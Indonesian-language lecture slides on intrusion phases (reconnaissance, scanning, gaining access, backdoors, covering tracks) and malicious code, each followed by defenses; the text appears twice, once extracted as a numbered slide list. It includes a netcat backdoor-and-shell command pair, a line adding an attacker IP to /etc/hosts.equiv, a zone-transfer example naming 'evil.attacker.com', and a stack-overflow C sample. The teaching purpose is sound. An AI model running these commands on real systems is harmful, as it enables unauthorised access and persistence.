Attack Method &
Malicious Code
Intrusion
 Apa motivasi membobol sistem komputer
 Siapa yang membobol
 Mengapa ilmu pengamanan sistem harus
mempelajari metode dan model penyerangan
terhadap sistem
Skenario Intrusion
 Reconnaissance
 Scanning
 Gaining access at OS, application or
network level
 Maintaining access
 Covering tracks
Fase 1: Reconnaissance (pengintaian)
 Mengumpulkan informasi sebanyak mungkin
mengenai target
- Bagaimana model dari sistem jaringan
komputer, bagaimana diorganisasikan
- Mempelajari secara mendetail mengenai OS dan
aplikasi yang terinstal dan berjalan pada sistem
Low Tech Reconnaissance
 Social engineering
mempengaruhi seseorang atau berusaha
mengorek informasi sensitif pada sistem
 Membobol secara fisik
 Mencuri atau menggelapkan dokumen penting
Web reconnaissance
 Mencari web organisasi yang akan diserang
 Mencari informasi yang berhubungan dalam
mailing list, forum atau jejaring sosial
 Memanfaatkan search engine untuk mencari
semua dokumen yang didalamnya menyebut
nama organisasi yang akan diserang
Whois dan database ARIN
 Organisasi yang mendaftarkan domainnya ke internet
memberi data-data kepada registrar
 Public registrar file mengandung:
 Registered domain names
 Domain name servers
 Contact people names, phone numbers,
E-mail addresses
 http://www.networksolutions.com/whois/
 ARIN database
 Range dari IP address yang digunakan
 http://whois.arin.net/ui/
Domain Name system
 Apa itu DNS ?
 Bagaimana DNS bekerja
 Jenis informasi yang dapat diperoleh
penyerang:
 Range dari alamat yang digunakan
 mail server address
 Web server address
 OS information
Interrogating DNS – Zone Transfer
$ nslookup
Default server:evil.attacker.com
Address: 10.11.12.13
server 1.2.3.4
Default server:dns.victimsite.com
Address: 1.2.3.4
set type=any
ls –dvictimsite.com
system1 1DINA 1.2.2.1
1DINHINFO “Solaris 2.6 Mailserver”
1DINMX 10 mail1
web 1DINA 1.2.11.27
1DINHINFO “NT4www”
Dangerous
Split-horizon DNS
 Menampilkan tampilan DNS yang berbeda
bagi internal dan external user
Internal
DNS
Employees
External
DNS
External users
Web
server
Mail
server
Internal
DB
Reconnaissance Tools
 Tools yang mengintegrasikan Whois, ARIN,
DNS interrogation dan berbagai servis
lainnya
 Applications
 Web-based portals
 http://www.network-tools.com
Hasil dari Reconnaissance
 Penyerang mendapatkan daftar IP address target
dalam jaringan yang akan diserang
 Penyerang memiliki informasi level
administrator untuk jaringan target
 Penyerang memiliki gambaran umum terhadap
sistem komputer dalam jaringan target
Fase 2 : Scanning
 Mendeteksi informasi penting yang diperlukan
untuk membobol sistem
 Mesin aktif
 Topologi jaringan
 Konfigurasi Firewall
 Jenis OS dan Aplikasi yang berjalan
 Celah Keamanan
Network Mapping
 Menemukan mesin aktif
 Ping sweep
 TCP SYN sweep
 Memetakan topologi jaringan
 Traceroute
 Sends out ICMP or UDP packets with increasing TTL
 Gets back ICMP_TIME_EXCEEDED message from
intermediate routers
Traceroute
A R1 R2 R3 db
www
mail
1. ICMP_ECHO to www.victim.com
TTL=1
1a. ICMP_TIME_EXCEEDED
from R1
victim.com
A: R1 is my first hop to www.victim.com!
Traceroute
A R1 R2 R3 db
www
mail
2. ICMP_ECHO to www.victim.com
TTL=2
2a. ICMP_TIME_EXCEEDED
from R2
victim.com
A: R1-R2 is my path to www.victim.com!
Traceroute
A R1 R2 R3 db
www
mail
3. ICMP_ECHO to www.victim.com
TTL=3
3a. ICMP_TIME_EXCEEDED
from R3
victim.com
A: R1-R2-R3 is my path to www.victim.com!
Traceroute
A R1 R2 R3 db
www
mail
4. ICMP_ECHO to www.victim.com
TTL=4
4a. ICMP_REPLY
from www.victim.com
victim.com
A: R1-R2-R3-www is my path to www.victim.com
Traceroute
A R1 R2 R3 db
www
mail
Repeat for db and mail servers
victim.com
A: R1-R2-R3-www is my path to www.victim.com
R1-R2-R3-db is my path to db.victim.com
R1-R2-R3-mail is my path to mail.victim.com
Victim network is a star with R3 at the center
Network Map Tools
 Cheops
 Linux application
 http://cheops-ng.sourceforge.net/Automatically
performs ping sweep and network mapping and
displays results in GUI
Pertahanan terhadap serangan network
mapping dan scanner
 Menyaring outgoing ICMP traffic
 Menggunakan Network Address Translation
(NAT)
NAT
box
A
B
C
D
Internal hosts with 192.168.0.0/16
1.2.3.4
8.9.10.11
Request 1.2.3.4
Request 192.168.13.73
Reply 192.168.13.73
Reply 1.2.3.4
How NATs Work
 For internal hosts to go out
 B sends traffic to www.google.com
 NAT modifies the IP header of this traffic
 Source IP: B NAT
 Source port: B’s chosen port Y  random port X
 NAT remembers that whatever comes for it on
port X should go to B on port Y
 Google replies, NAT modifies the IP header
 Destination IP: NAT B
 Destination port: X  Y
How NATs Work
 For public services offered by internal hosts
 You advertise your web server A at NAT’s address
(1.2.3.4 and port 80)
 NAT remembers that whatever comes for it on
port 80 should go to A on port 80
 External clients send traffic to 1.2.3.4:80
 NAT modifies the IP header of this traffic
 Destination IP: NAT A
 Destination port: NAT’s port 80  A’s service port 80
 A replies, NAT modifies the IP header
 Source IP: ANAT
 Source port: 80  80
How NATs Work
 What if you have another Web server C
 You advertise your web server A at NAT’s address
(1.2.3.4 and port 55) – not a standard Web server
port so clients must know to talk to a diff. port
 NAT remembers that whatever comes for it on
port 55 should go to C on port 80
 External clients send traffic to 1.2.3.4:55
 NAT modifies the IP header of this traffic
 Destination IP: NAT C
 Destination port: NAT’s port 55 C’s service port 80
 C replies, NAT modifies the IP header
 Source IP: CNAT, source port: 80  55
Port Scanning
 Mencari aplikasi yang sedang memonitor
port
 Mengirim berbagai paket
 Establish and tear down TCP connection
 Half-open and tear down TCP connection
 Send invalid TCP packets: FIN, Null, Xmas scan
 Send TCP ACK packets – find firewall holes
 Obscure the source – FTP bounce scans
 UDP scans
 Find RPC applications Dangerous
Port Scanning
 Set source port and address
 Melewatkan paket melewati firewall
 Menyembunyikan alamat penyerang
 Menggunakan TCP fingerprinting Untuk
menemukan tipe OS
 TCP standard tidak memiliki spesifikasi untuk
mengatasi paket yang cacat
 Implementasi sangat berbeda
Port Scanning Tools
 Nmap
 Unix and Windows NT application and GUI
 http://nmap.org/
 Berbagai macam model scan
 Pengaturan timing
Dangerous
Pertahanan terhadap serangan port
scanner
 Tutup port yang tidak diperlukan pada
sistem
 Nonaktifkan semua services yang tidak
diperlukan
 Filter semua lalu lintas data yang tidak
perlu
 Gunakan smart filtering, berdasarkan IP
clien
Firewalk: Menentukan konfigurasi firewall
 Cari pengaturan firewall yang tepat untuk
koneksi yang baru
 Tentukan tipe paket yang dapat melewati
firewall
Pertahanan terhadap Firewalking
 Filter out lalu lintas keluar untuk ICMP
 Gunakan proxy firewall
 Pertahanan ini bekerja sebab proxy membentuk
kembali setiap packet termasuk TTL field
Vulnerability Scanning
 Penyerang telah mengetahui OS dan
aplikasi yang terinstal pada host aktif
 Selanjutnya penyerang dapat mencari
 Vulnerability exploits
 Common configuration errors
 Default configuration
 Vulnerability scanning tool menggunakan
database dari vulnerabilities yang telah
diketahui untuk menggenerate paket
 Vulnerability scanning juga digunakan oleh
system admin
Vulnerability Scanning Tools
 SARA
 http://www-arc.com/sara
 SAINT
 http://www.saintcorporation.com
 Nessus
 http://www.nessus.org
Dangerous
Pertahanan terhadap
Vulnerability Scanning
 Tutup port komunikasi dan patch OS dan
aplikasi yang terinstal pada sistem dengan
versi terupdate
 Temukan celah keamanan dalam sistem
sebelum ditemukan oleh penyerang
Hasil dari Scanning Phase
 Attacker mempunyai IP addresses dari host
yang aktif
 Port – port yang terbuka dan dan aplikasi
yang berjalan pada host
 Informasi tentang tipe OS beserta versinya
pada host aktif
 Informasi tentang aplikasi dan versinya
pada host aktif
 Information mengenai topology network
 Information tentang konfigurasi firewall
Phase 3: Gaining Access
 Mengexploitasi celah keamanan
 Exploits untuk celah keamanan tertentu dapat
didownload dari situs hacking
 Hacker yang berskill dapat membuat exploit
sendiri
What is a vulnerability?
What is an exploit?
Serangan stack based overflow
 Stack menyimpan data penting dalam
pemanggilan prosedur dan fungsi
Function call
arguments
Return address
Saved frame ptr
Local variables
for called procedure
TOS
Memory address
meningkat
Serangan stack based overflow
 Misalnya sebuah fungsi
void sample_function(char* s)
{
char buffer[10];
strcpy(buffer, s);
return;
}
 And a main program
void main()
{
int i;
char temp[200];
for(i=0; i<200;i++) temp[i]=‘A’;
sample_function(temp);
return;
}
Argumen lebih besar
dari yang diperkirakan
…
Serangan stack based overflow
 Input besar yang akan disimpan pada stack
mengoverwrite informasi sistem
Function call
arguments
Return address
Saved frame ptr
s,buffer[10]
TOS
Memory address
increases
Overwritten
by A’s
Stack-Based Overflow Attacks
 Attacker mengoverwrite return address untuk
menunjuk lokasi lain
 “Local variables” dari stack
 Menempatkan kode serangan menggunakan
bahasa mesin pada porsi tersebut
 Karena kesulitan untuk menentukan lokasi pasti
pada porsi, kode serangan di lapis dengan kode
NOP pada awal dan akhir kodenya
Stack-Based Overflow Attacks
 Apa tipe perintah yang dieksekusi oleh
penyerang?
 Perintah yang membantu untuk memperoleh
akses ke sistem tersebut
 Menulis ke file konfigurasi untuk memulai shell
application yang memonitor port tersebut,
kemudian melakukan log on pada port tersebut
Stack-Based Overflow Attacks
 Bagaimana penyerang menemukan stack
overflow?
 Melihat kedalam source code
 Menjalankan aplikasi pada suatu mesin dengan
mensimulasi pemberian inputan yang panjang
kemudian memonitor register sistem
 Lebih lanjut baca
 http://insecure.org/stf/smashstack.html
Pertahanan terhadap
Stack-Based Overflows
 For system administrators:
 Apply patches, keep systems up-to-date
 Monitor writes on the stack
 Store return address somewhere else
 Monitor outgoing traffic
 For software designers
 Apply checks for buffer overflows
 Use safe functions
Serangan jaringan
 Sniffing untuk username dan password
 Pemalsuan alamat (Spoofing)
 pembajakan session (session hijacking)
Sniffing
 Mencari informasi paket mentah di jalur
jaringan
 Beberapa media lebih rentan untuk disniffing –
Ethernet
 Beberapa topologi jaringan rentan untuk disniff–
hub vs. switch
Sniffing pada hub
 Ethernet adalah media broadcast– setiap mesin
yang terkoneksi dapat memperoleh informasi
 Passive sniffing
For X For X
X
A
R
Y
Sniffing pada hub
 Penyerang dapat memperoleh informasi yang
tidak terenkripsi dan dikirim melalui LAN
 Defense: encrypt all sensitive traffic
 Tcpdump
 http://www.tcpdump.org
 Snort
 http://www.snort.org
 Ethereal
 http://www.ethereal.com
Sniffing pada switch
 Switch terkoneksi oleh physical line yang
terpisah bagi setiap mesin dan hanya
menggunakan satu line untuk mengirim pesan
For X
For X X
A
R
Y
Sniffing pada switch– Take 1
 Attacker mengirim banyak pesan ARP untuk
memalsukan alamat ke R
 Beberapa switch mengirim ke semua interface
ketika tabelnya mengalami overload
For X
For X X
A
R
Y
Sniffing pada switch – Take 2
 Address Resolution Protocol (ARP) Map IP
address terhadap MAC Address
1. For X
4. For X
2. Who has X?
3. I do X
A
R
Y
Sniffing pada switch– Take 2
 Penyerang menggunakan ARP poisoning untuk
memap MAC addressnya ke ip address X
3. For X, MAC (A)
1. I have X, MAC(A)
X
A
R
Y
4. For X, MAC (A)
2
.
I
h
a
v
e
Y
,
M
A
C
(
A
)
6. For Y, MAC(A) 5. A sends this back
to R, to be sent to MAC(X)
7. For Y, MAC (A)
8. A sends this back
to R, to be sent to MAC(Y)
Active Sniffing Tools
 Dsniff
 http://www.monkey.org/~dugsong/dsniff
 Also parses application packets
for a lot of applications
 Sniffs and spoofs DNS Dangerous
Spoofing DNS
 Penyerang men sniff DNS requests, dan
menjawab menggunakan alamatnya (DNS
cache poisoning)
 Ketika reply asli tiba client akan mengignore
 Ini dapat digabungkan dengan serangan man
in the middle pada serangan terhadap HTTPS
and SSH
Sniffing Defenses
 Gunakan end-to-end encryption
 Gunakan switch
 Statically configure MAC and IP bindings with
ports
What Is IP Spoofing
 Memalsukan ip addres orang lain dalam
daftar alamat IP sumber
 Bagaimana melakukan spoof
 Linux and BSD OS mempunyai fungsi yang
mengijinkan superuser untuk membuat custom
packets and mengisinya dengan segala
informasi
IP Address Spoofing in TCP packets
 Penyerang tidak dapat melihat paket balasan
Alice M Bob M
Attacker M
1. SYN, IP Alice, SEQA
2. SYN SEQB, ACK SEQA
3. RESET
Guessing a Sequence Number
 Attacker wants to assume Alice’s identity
 He establishes many connections to Bob with his
own identity gets a few sequence numbers
 He disables Alice (DDoS)
 He sends SYN to Bob, Bob replies to Alice,
attacker uses guessed value of SEQB to complete
connection – TCP session hijacking
 If Bob and Alice have trust relationship
(/etc/hosts.equiv file in Linux) he has just gained
access to Bob
 He can add his machine to /etc/hosts.equiv
echo “1.2.3.4” >> /etc/hosts.equiv
Guessing a Sequence Number
 It used to be ISN=f(Time), still is in some
Windows versions
Guessing a Sequence Number
 On Linux ISN=f(time)+rand
Spoofing Defenses
 Ingress and egress filtering
 Prohibit source routing option
 Don’t use trust models with IP addresses
 Randomize sequence numbers
Hasil dari Gaining Access
 Penyerang sukses melakukan login ke mesin
target
Phase 4: Maintaining Access
 Penyerang menerapkan aplikasi yang listening
pada port tertentu (backdoor) agar dapat masuk
ke sistem kapan saja tanpa melalui login
 Penyerang menghilangkan jejak dengan
menutup celah keamanan
Netcat Tool
 Similar to Linux cat command
 http://netcat.sourceforge.net/
 Client: Initiates connection to any port on remote
machine
 Server: Listens on any port
 To open a shell on a victim machine
On victim machine: nc –l –p 1234
/* This opens a backdoor */
On attacker machine: nc 123.32.34.54 1234 –c /bin/sh
/* This enters through a backdoor, opens a shell */
Dangerous
Netcat Tool
 Digunakan untuk
 Port scanning
 Backdoor
 Relaying the attack
Trojan
 Aplikasi yang mengklaim mengerjakan sesuatu
tugas tapi juga mempunyai fungsi tersembunyi
sebagai malware
 Didapatkan melalui program yang didownload
di internet, attachment email, ActiveX control
yang dijalankan ketika membuka suatu website
 Trojan dapat membuat celah keamanan pada
sistem (membuat backdoor) yang dapat
dimanfaatkan oleh pembuat/pengguna trojan
untuk membobol sistem
Back Orifice
 Trojan application that can
 Log keystrokes
 Steal passwords
 Create dialog boxes
 Mess with files, processes or system (registry)
 Redirect packets
 Set up backdoors
 Take over screen and keyboard
 http://www.bo2k.com/
Dangerous
Pertahanan terhadap trojan
 Antivirus software
 Hati-hati terhadap aplikasi yang ditawarkan
diinternet
 Check MD5 sum dari perangkat lunak terpercaya
yang didownload
 Disable automatic execution pada attachment
Hasil dari fase maintaining access
 Penyerang telah dapat membuat backdoor pada
sistem korban dan dapat mengaksesnya kapan
saja
Phase 5: Menyembunyikan jejak
 Rootkit
 Mengubah log files
 Membuat file tersamar
Rootkit
 Mengubah/ memodifikasi file library yang
digunakan oleh aplikasi (dll files)
 Rootkit kadang sepaket dengan malware lain
seperti sniffer, keylogger dll
Application Rootkits
 Penyerang akan memodifikasi file-file yang
dapat membahayakan keberadaannya, misanya
 List processes e.g. ps
 List files e.g. ls
 Show open ports e.g. netstat
 Show system utilization e.g. top
Pertahanan terhadap Rootkit
 Cegah agar penyerang tidak mudah memperoleh
akses ke root /adminstrator
 Hati hati terhadap software yang ditawarkan di
internet
 Periksa checksum MD5 dari software yang
didownload
Kernel Rootkits
 Memodifikasi system call
 Mengubah file system atau driver dari sistem
operasi dan di load sebagai bagian dari proses
utama sistem operasi
 Checksum tidak dapat mendeteksi karena
penyerang tidak memodifikasi file
 Biasanya diinstal sebagai modul dari kernel
Memodifikasi log
 Untuk binary log
- stop logging services
- load files ke memori untuk diubah
- menggunakan tools tertentu
 Untu log berbasis text dapat dengan mudah
dimodifikasi via script
 Mengubah login dan event log, history file dan
last login data
Pertahanan terhadap serangan log
 Gunakan log server terpisah
mesin akan mengirim log-nya ke server
 Enkripsi log file
 Buat log files dengan status append only
Membuat file tersamar
 Membuat suatu file dengan menggunakan nama
yang menyerupai nama file sistem pada sistem
operasi dengan perubahan seminimal mungkin
 Pertahanan terhadap serangan model ini adalah
sikap waspada dari pengguna dan penggunaan
perangkat lunak sejenis intrusion detection
system

05-Malicious Code (lama) pada keamanan sistem komputer.pptx

  • 1.
  • 2.
    Intrusion  Apa motivasimembobol sistem komputer  Siapa yang membobol  Mengapa ilmu pengamanan sistem harus mempelajari metode dan model penyerangan terhadap sistem
  • 3.
    Skenario Intrusion  Reconnaissance Scanning  Gaining access at OS, application or network level  Maintaining access  Covering tracks
  • 4.
    Fase 1: Reconnaissance(pengintaian)  Mengumpulkan informasi sebanyak mungkin mengenai target - Bagaimana model dari sistem jaringan komputer, bagaimana diorganisasikan - Mempelajari secara mendetail mengenai OS dan aplikasi yang terinstal dan berjalan pada sistem
  • 5.
    Low Tech Reconnaissance Social engineering mempengaruhi seseorang atau berusaha mengorek informasi sensitif pada sistem  Membobol secara fisik  Mencuri atau menggelapkan dokumen penting
  • 6.
    Web reconnaissance  Mencariweb organisasi yang akan diserang  Mencari informasi yang berhubungan dalam mailing list, forum atau jejaring sosial  Memanfaatkan search engine untuk mencari semua dokumen yang didalamnya menyebut nama organisasi yang akan diserang
  • 7.
    Whois dan databaseARIN  Organisasi yang mendaftarkan domainnya ke internet memberi data-data kepada registrar  Public registrar file mengandung:  Registered domain names  Domain name servers  Contact people names, phone numbers, E-mail addresses  http://www.networksolutions.com/whois/  ARIN database  Range dari IP address yang digunakan  http://whois.arin.net/ui/
  • 8.
    Domain Name system Apa itu DNS ?  Bagaimana DNS bekerja  Jenis informasi yang dapat diperoleh penyerang:  Range dari alamat yang digunakan  mail server address  Web server address  OS information
  • 9.
    Interrogating DNS –Zone Transfer $ nslookup Default server:evil.attacker.com Address: 10.11.12.13 server 1.2.3.4 Default server:dns.victimsite.com Address: 1.2.3.4 set type=any ls –dvictimsite.com system1 1DINA 1.2.2.1 1DINHINFO “Solaris 2.6 Mailserver” 1DINMX 10 mail1 web 1DINA 1.2.11.27 1DINHINFO “NT4www” Dangerous
  • 10.
    Split-horizon DNS  Menampilkantampilan DNS yang berbeda bagi internal dan external user Internal DNS Employees External DNS External users Web server Mail server Internal DB
  • 11.
    Reconnaissance Tools  Toolsyang mengintegrasikan Whois, ARIN, DNS interrogation dan berbagai servis lainnya  Applications  Web-based portals  http://www.network-tools.com
  • 12.
    Hasil dari Reconnaissance Penyerang mendapatkan daftar IP address target dalam jaringan yang akan diserang  Penyerang memiliki informasi level administrator untuk jaringan target  Penyerang memiliki gambaran umum terhadap sistem komputer dalam jaringan target
  • 13.
    Fase 2 :Scanning  Mendeteksi informasi penting yang diperlukan untuk membobol sistem  Mesin aktif  Topologi jaringan  Konfigurasi Firewall  Jenis OS dan Aplikasi yang berjalan  Celah Keamanan
  • 14.
    Network Mapping  Menemukanmesin aktif  Ping sweep  TCP SYN sweep  Memetakan topologi jaringan  Traceroute  Sends out ICMP or UDP packets with increasing TTL  Gets back ICMP_TIME_EXCEEDED message from intermediate routers
  • 15.
    Traceroute A R1 R2R3 db www mail 1. ICMP_ECHO to www.victim.com TTL=1 1a. ICMP_TIME_EXCEEDED from R1 victim.com A: R1 is my first hop to www.victim.com!
  • 16.
    Traceroute A R1 R2R3 db www mail 2. ICMP_ECHO to www.victim.com TTL=2 2a. ICMP_TIME_EXCEEDED from R2 victim.com A: R1-R2 is my path to www.victim.com!
  • 17.
    Traceroute A R1 R2R3 db www mail 3. ICMP_ECHO to www.victim.com TTL=3 3a. ICMP_TIME_EXCEEDED from R3 victim.com A: R1-R2-R3 is my path to www.victim.com!
  • 18.
    Traceroute A R1 R2R3 db www mail 4. ICMP_ECHO to www.victim.com TTL=4 4a. ICMP_REPLY from www.victim.com victim.com A: R1-R2-R3-www is my path to www.victim.com
  • 19.
    Traceroute A R1 R2R3 db www mail Repeat for db and mail servers victim.com A: R1-R2-R3-www is my path to www.victim.com R1-R2-R3-db is my path to db.victim.com R1-R2-R3-mail is my path to mail.victim.com Victim network is a star with R3 at the center
  • 20.
    Network Map Tools Cheops  Linux application  http://cheops-ng.sourceforge.net/Automatically performs ping sweep and network mapping and displays results in GUI
  • 21.
    Pertahanan terhadap serangannetwork mapping dan scanner  Menyaring outgoing ICMP traffic  Menggunakan Network Address Translation (NAT) NAT box A B C D Internal hosts with 192.168.0.0/16 1.2.3.4 8.9.10.11 Request 1.2.3.4 Request 192.168.13.73 Reply 192.168.13.73 Reply 1.2.3.4
  • 22.
    How NATs Work For internal hosts to go out  B sends traffic to www.google.com  NAT modifies the IP header of this traffic  Source IP: B NAT  Source port: B’s chosen port Y  random port X  NAT remembers that whatever comes for it on port X should go to B on port Y  Google replies, NAT modifies the IP header  Destination IP: NAT B  Destination port: X  Y
  • 23.
    How NATs Work For public services offered by internal hosts  You advertise your web server A at NAT’s address (1.2.3.4 and port 80)  NAT remembers that whatever comes for it on port 80 should go to A on port 80  External clients send traffic to 1.2.3.4:80  NAT modifies the IP header of this traffic  Destination IP: NAT A  Destination port: NAT’s port 80  A’s service port 80  A replies, NAT modifies the IP header  Source IP: ANAT  Source port: 80  80
  • 24.
    How NATs Work What if you have another Web server C  You advertise your web server A at NAT’s address (1.2.3.4 and port 55) – not a standard Web server port so clients must know to talk to a diff. port  NAT remembers that whatever comes for it on port 55 should go to C on port 80  External clients send traffic to 1.2.3.4:55  NAT modifies the IP header of this traffic  Destination IP: NAT C  Destination port: NAT’s port 55 C’s service port 80  C replies, NAT modifies the IP header  Source IP: CNAT, source port: 80  55
  • 25.
    Port Scanning  Mencariaplikasi yang sedang memonitor port  Mengirim berbagai paket  Establish and tear down TCP connection  Half-open and tear down TCP connection  Send invalid TCP packets: FIN, Null, Xmas scan  Send TCP ACK packets – find firewall holes  Obscure the source – FTP bounce scans  UDP scans  Find RPC applications Dangerous
  • 26.
    Port Scanning  Setsource port and address  Melewatkan paket melewati firewall  Menyembunyikan alamat penyerang  Menggunakan TCP fingerprinting Untuk menemukan tipe OS  TCP standard tidak memiliki spesifikasi untuk mengatasi paket yang cacat  Implementasi sangat berbeda
  • 27.
    Port Scanning Tools Nmap  Unix and Windows NT application and GUI  http://nmap.org/  Berbagai macam model scan  Pengaturan timing Dangerous
  • 28.
    Pertahanan terhadap seranganport scanner  Tutup port yang tidak diperlukan pada sistem  Nonaktifkan semua services yang tidak diperlukan  Filter semua lalu lintas data yang tidak perlu  Gunakan smart filtering, berdasarkan IP clien
  • 29.
    Firewalk: Menentukan konfigurasifirewall  Cari pengaturan firewall yang tepat untuk koneksi yang baru  Tentukan tipe paket yang dapat melewati firewall
  • 30.
    Pertahanan terhadap Firewalking Filter out lalu lintas keluar untuk ICMP  Gunakan proxy firewall  Pertahanan ini bekerja sebab proxy membentuk kembali setiap packet termasuk TTL field
  • 31.
    Vulnerability Scanning  Penyerangtelah mengetahui OS dan aplikasi yang terinstal pada host aktif  Selanjutnya penyerang dapat mencari  Vulnerability exploits  Common configuration errors  Default configuration  Vulnerability scanning tool menggunakan database dari vulnerabilities yang telah diketahui untuk menggenerate paket  Vulnerability scanning juga digunakan oleh system admin
  • 32.
    Vulnerability Scanning Tools SARA  http://www-arc.com/sara  SAINT  http://www.saintcorporation.com  Nessus  http://www.nessus.org Dangerous
  • 33.
    Pertahanan terhadap Vulnerability Scanning Tutup port komunikasi dan patch OS dan aplikasi yang terinstal pada sistem dengan versi terupdate  Temukan celah keamanan dalam sistem sebelum ditemukan oleh penyerang
  • 34.
    Hasil dari ScanningPhase  Attacker mempunyai IP addresses dari host yang aktif  Port – port yang terbuka dan dan aplikasi yang berjalan pada host  Informasi tentang tipe OS beserta versinya pada host aktif  Informasi tentang aplikasi dan versinya pada host aktif  Information mengenai topology network  Information tentang konfigurasi firewall
  • 35.
    Phase 3: GainingAccess  Mengexploitasi celah keamanan  Exploits untuk celah keamanan tertentu dapat didownload dari situs hacking  Hacker yang berskill dapat membuat exploit sendiri What is a vulnerability? What is an exploit?
  • 36.
    Serangan stack basedoverflow  Stack menyimpan data penting dalam pemanggilan prosedur dan fungsi Function call arguments Return address Saved frame ptr Local variables for called procedure TOS Memory address meningkat
  • 37.
    Serangan stack basedoverflow  Misalnya sebuah fungsi void sample_function(char* s) { char buffer[10]; strcpy(buffer, s); return; }  And a main program void main() { int i; char temp[200]; for(i=0; i<200;i++) temp[i]=‘A’; sample_function(temp); return; } Argumen lebih besar dari yang diperkirakan …
  • 38.
    Serangan stack basedoverflow  Input besar yang akan disimpan pada stack mengoverwrite informasi sistem Function call arguments Return address Saved frame ptr s,buffer[10] TOS Memory address increases Overwritten by A’s
  • 39.
    Stack-Based Overflow Attacks Attacker mengoverwrite return address untuk menunjuk lokasi lain  “Local variables” dari stack  Menempatkan kode serangan menggunakan bahasa mesin pada porsi tersebut  Karena kesulitan untuk menentukan lokasi pasti pada porsi, kode serangan di lapis dengan kode NOP pada awal dan akhir kodenya
  • 40.
    Stack-Based Overflow Attacks Apa tipe perintah yang dieksekusi oleh penyerang?  Perintah yang membantu untuk memperoleh akses ke sistem tersebut  Menulis ke file konfigurasi untuk memulai shell application yang memonitor port tersebut, kemudian melakukan log on pada port tersebut
  • 41.
    Stack-Based Overflow Attacks Bagaimana penyerang menemukan stack overflow?  Melihat kedalam source code  Menjalankan aplikasi pada suatu mesin dengan mensimulasi pemberian inputan yang panjang kemudian memonitor register sistem  Lebih lanjut baca  http://insecure.org/stf/smashstack.html
  • 42.
    Pertahanan terhadap Stack-Based Overflows For system administrators:  Apply patches, keep systems up-to-date  Monitor writes on the stack  Store return address somewhere else  Monitor outgoing traffic  For software designers  Apply checks for buffer overflows  Use safe functions
  • 43.
    Serangan jaringan  Sniffinguntuk username dan password  Pemalsuan alamat (Spoofing)  pembajakan session (session hijacking)
  • 44.
    Sniffing  Mencari informasipaket mentah di jalur jaringan  Beberapa media lebih rentan untuk disniffing – Ethernet  Beberapa topologi jaringan rentan untuk disniff– hub vs. switch
  • 45.
    Sniffing pada hub Ethernet adalah media broadcast– setiap mesin yang terkoneksi dapat memperoleh informasi  Passive sniffing For X For X X A R Y
  • 46.
    Sniffing pada hub Penyerang dapat memperoleh informasi yang tidak terenkripsi dan dikirim melalui LAN  Defense: encrypt all sensitive traffic  Tcpdump  http://www.tcpdump.org  Snort  http://www.snort.org  Ethereal  http://www.ethereal.com
  • 47.
    Sniffing pada switch Switch terkoneksi oleh physical line yang terpisah bagi setiap mesin dan hanya menggunakan satu line untuk mengirim pesan For X For X X A R Y
  • 48.
    Sniffing pada switch–Take 1  Attacker mengirim banyak pesan ARP untuk memalsukan alamat ke R  Beberapa switch mengirim ke semua interface ketika tabelnya mengalami overload For X For X X A R Y
  • 49.
    Sniffing pada switch– Take 2  Address Resolution Protocol (ARP) Map IP address terhadap MAC Address 1. For X 4. For X 2. Who has X? 3. I do X A R Y
  • 50.
    Sniffing pada switch–Take 2  Penyerang menggunakan ARP poisoning untuk memap MAC addressnya ke ip address X 3. For X, MAC (A) 1. I have X, MAC(A) X A R Y 4. For X, MAC (A) 2 . I h a v e Y , M A C ( A ) 6. For Y, MAC(A) 5. A sends this back to R, to be sent to MAC(X) 7. For Y, MAC (A) 8. A sends this back to R, to be sent to MAC(Y)
  • 51.
    Active Sniffing Tools Dsniff  http://www.monkey.org/~dugsong/dsniff  Also parses application packets for a lot of applications  Sniffs and spoofs DNS Dangerous
  • 52.
    Spoofing DNS  Penyerangmen sniff DNS requests, dan menjawab menggunakan alamatnya (DNS cache poisoning)  Ketika reply asli tiba client akan mengignore  Ini dapat digabungkan dengan serangan man in the middle pada serangan terhadap HTTPS and SSH
  • 53.
    Sniffing Defenses  Gunakanend-to-end encryption  Gunakan switch  Statically configure MAC and IP bindings with ports
  • 54.
    What Is IPSpoofing  Memalsukan ip addres orang lain dalam daftar alamat IP sumber  Bagaimana melakukan spoof  Linux and BSD OS mempunyai fungsi yang mengijinkan superuser untuk membuat custom packets and mengisinya dengan segala informasi
  • 55.
    IP Address Spoofingin TCP packets  Penyerang tidak dapat melihat paket balasan Alice M Bob M Attacker M 1. SYN, IP Alice, SEQA 2. SYN SEQB, ACK SEQA 3. RESET
  • 56.
    Guessing a SequenceNumber  Attacker wants to assume Alice’s identity  He establishes many connections to Bob with his own identity gets a few sequence numbers  He disables Alice (DDoS)  He sends SYN to Bob, Bob replies to Alice, attacker uses guessed value of SEQB to complete connection – TCP session hijacking  If Bob and Alice have trust relationship (/etc/hosts.equiv file in Linux) he has just gained access to Bob  He can add his machine to /etc/hosts.equiv echo “1.2.3.4” >> /etc/hosts.equiv
  • 57.
    Guessing a SequenceNumber  It used to be ISN=f(Time), still is in some Windows versions
  • 58.
    Guessing a SequenceNumber  On Linux ISN=f(time)+rand
  • 59.
    Spoofing Defenses  Ingressand egress filtering  Prohibit source routing option  Don’t use trust models with IP addresses  Randomize sequence numbers
  • 60.
    Hasil dari GainingAccess  Penyerang sukses melakukan login ke mesin target
  • 61.
    Phase 4: MaintainingAccess  Penyerang menerapkan aplikasi yang listening pada port tertentu (backdoor) agar dapat masuk ke sistem kapan saja tanpa melalui login  Penyerang menghilangkan jejak dengan menutup celah keamanan
  • 62.
    Netcat Tool  Similarto Linux cat command  http://netcat.sourceforge.net/  Client: Initiates connection to any port on remote machine  Server: Listens on any port  To open a shell on a victim machine On victim machine: nc –l –p 1234 /* This opens a backdoor */ On attacker machine: nc 123.32.34.54 1234 –c /bin/sh /* This enters through a backdoor, opens a shell */ Dangerous
  • 63.
    Netcat Tool  Digunakanuntuk  Port scanning  Backdoor  Relaying the attack
  • 64.
    Trojan  Aplikasi yangmengklaim mengerjakan sesuatu tugas tapi juga mempunyai fungsi tersembunyi sebagai malware  Didapatkan melalui program yang didownload di internet, attachment email, ActiveX control yang dijalankan ketika membuka suatu website  Trojan dapat membuat celah keamanan pada sistem (membuat backdoor) yang dapat dimanfaatkan oleh pembuat/pengguna trojan untuk membobol sistem
  • 65.
    Back Orifice  Trojanapplication that can  Log keystrokes  Steal passwords  Create dialog boxes  Mess with files, processes or system (registry)  Redirect packets  Set up backdoors  Take over screen and keyboard  http://www.bo2k.com/ Dangerous
  • 66.
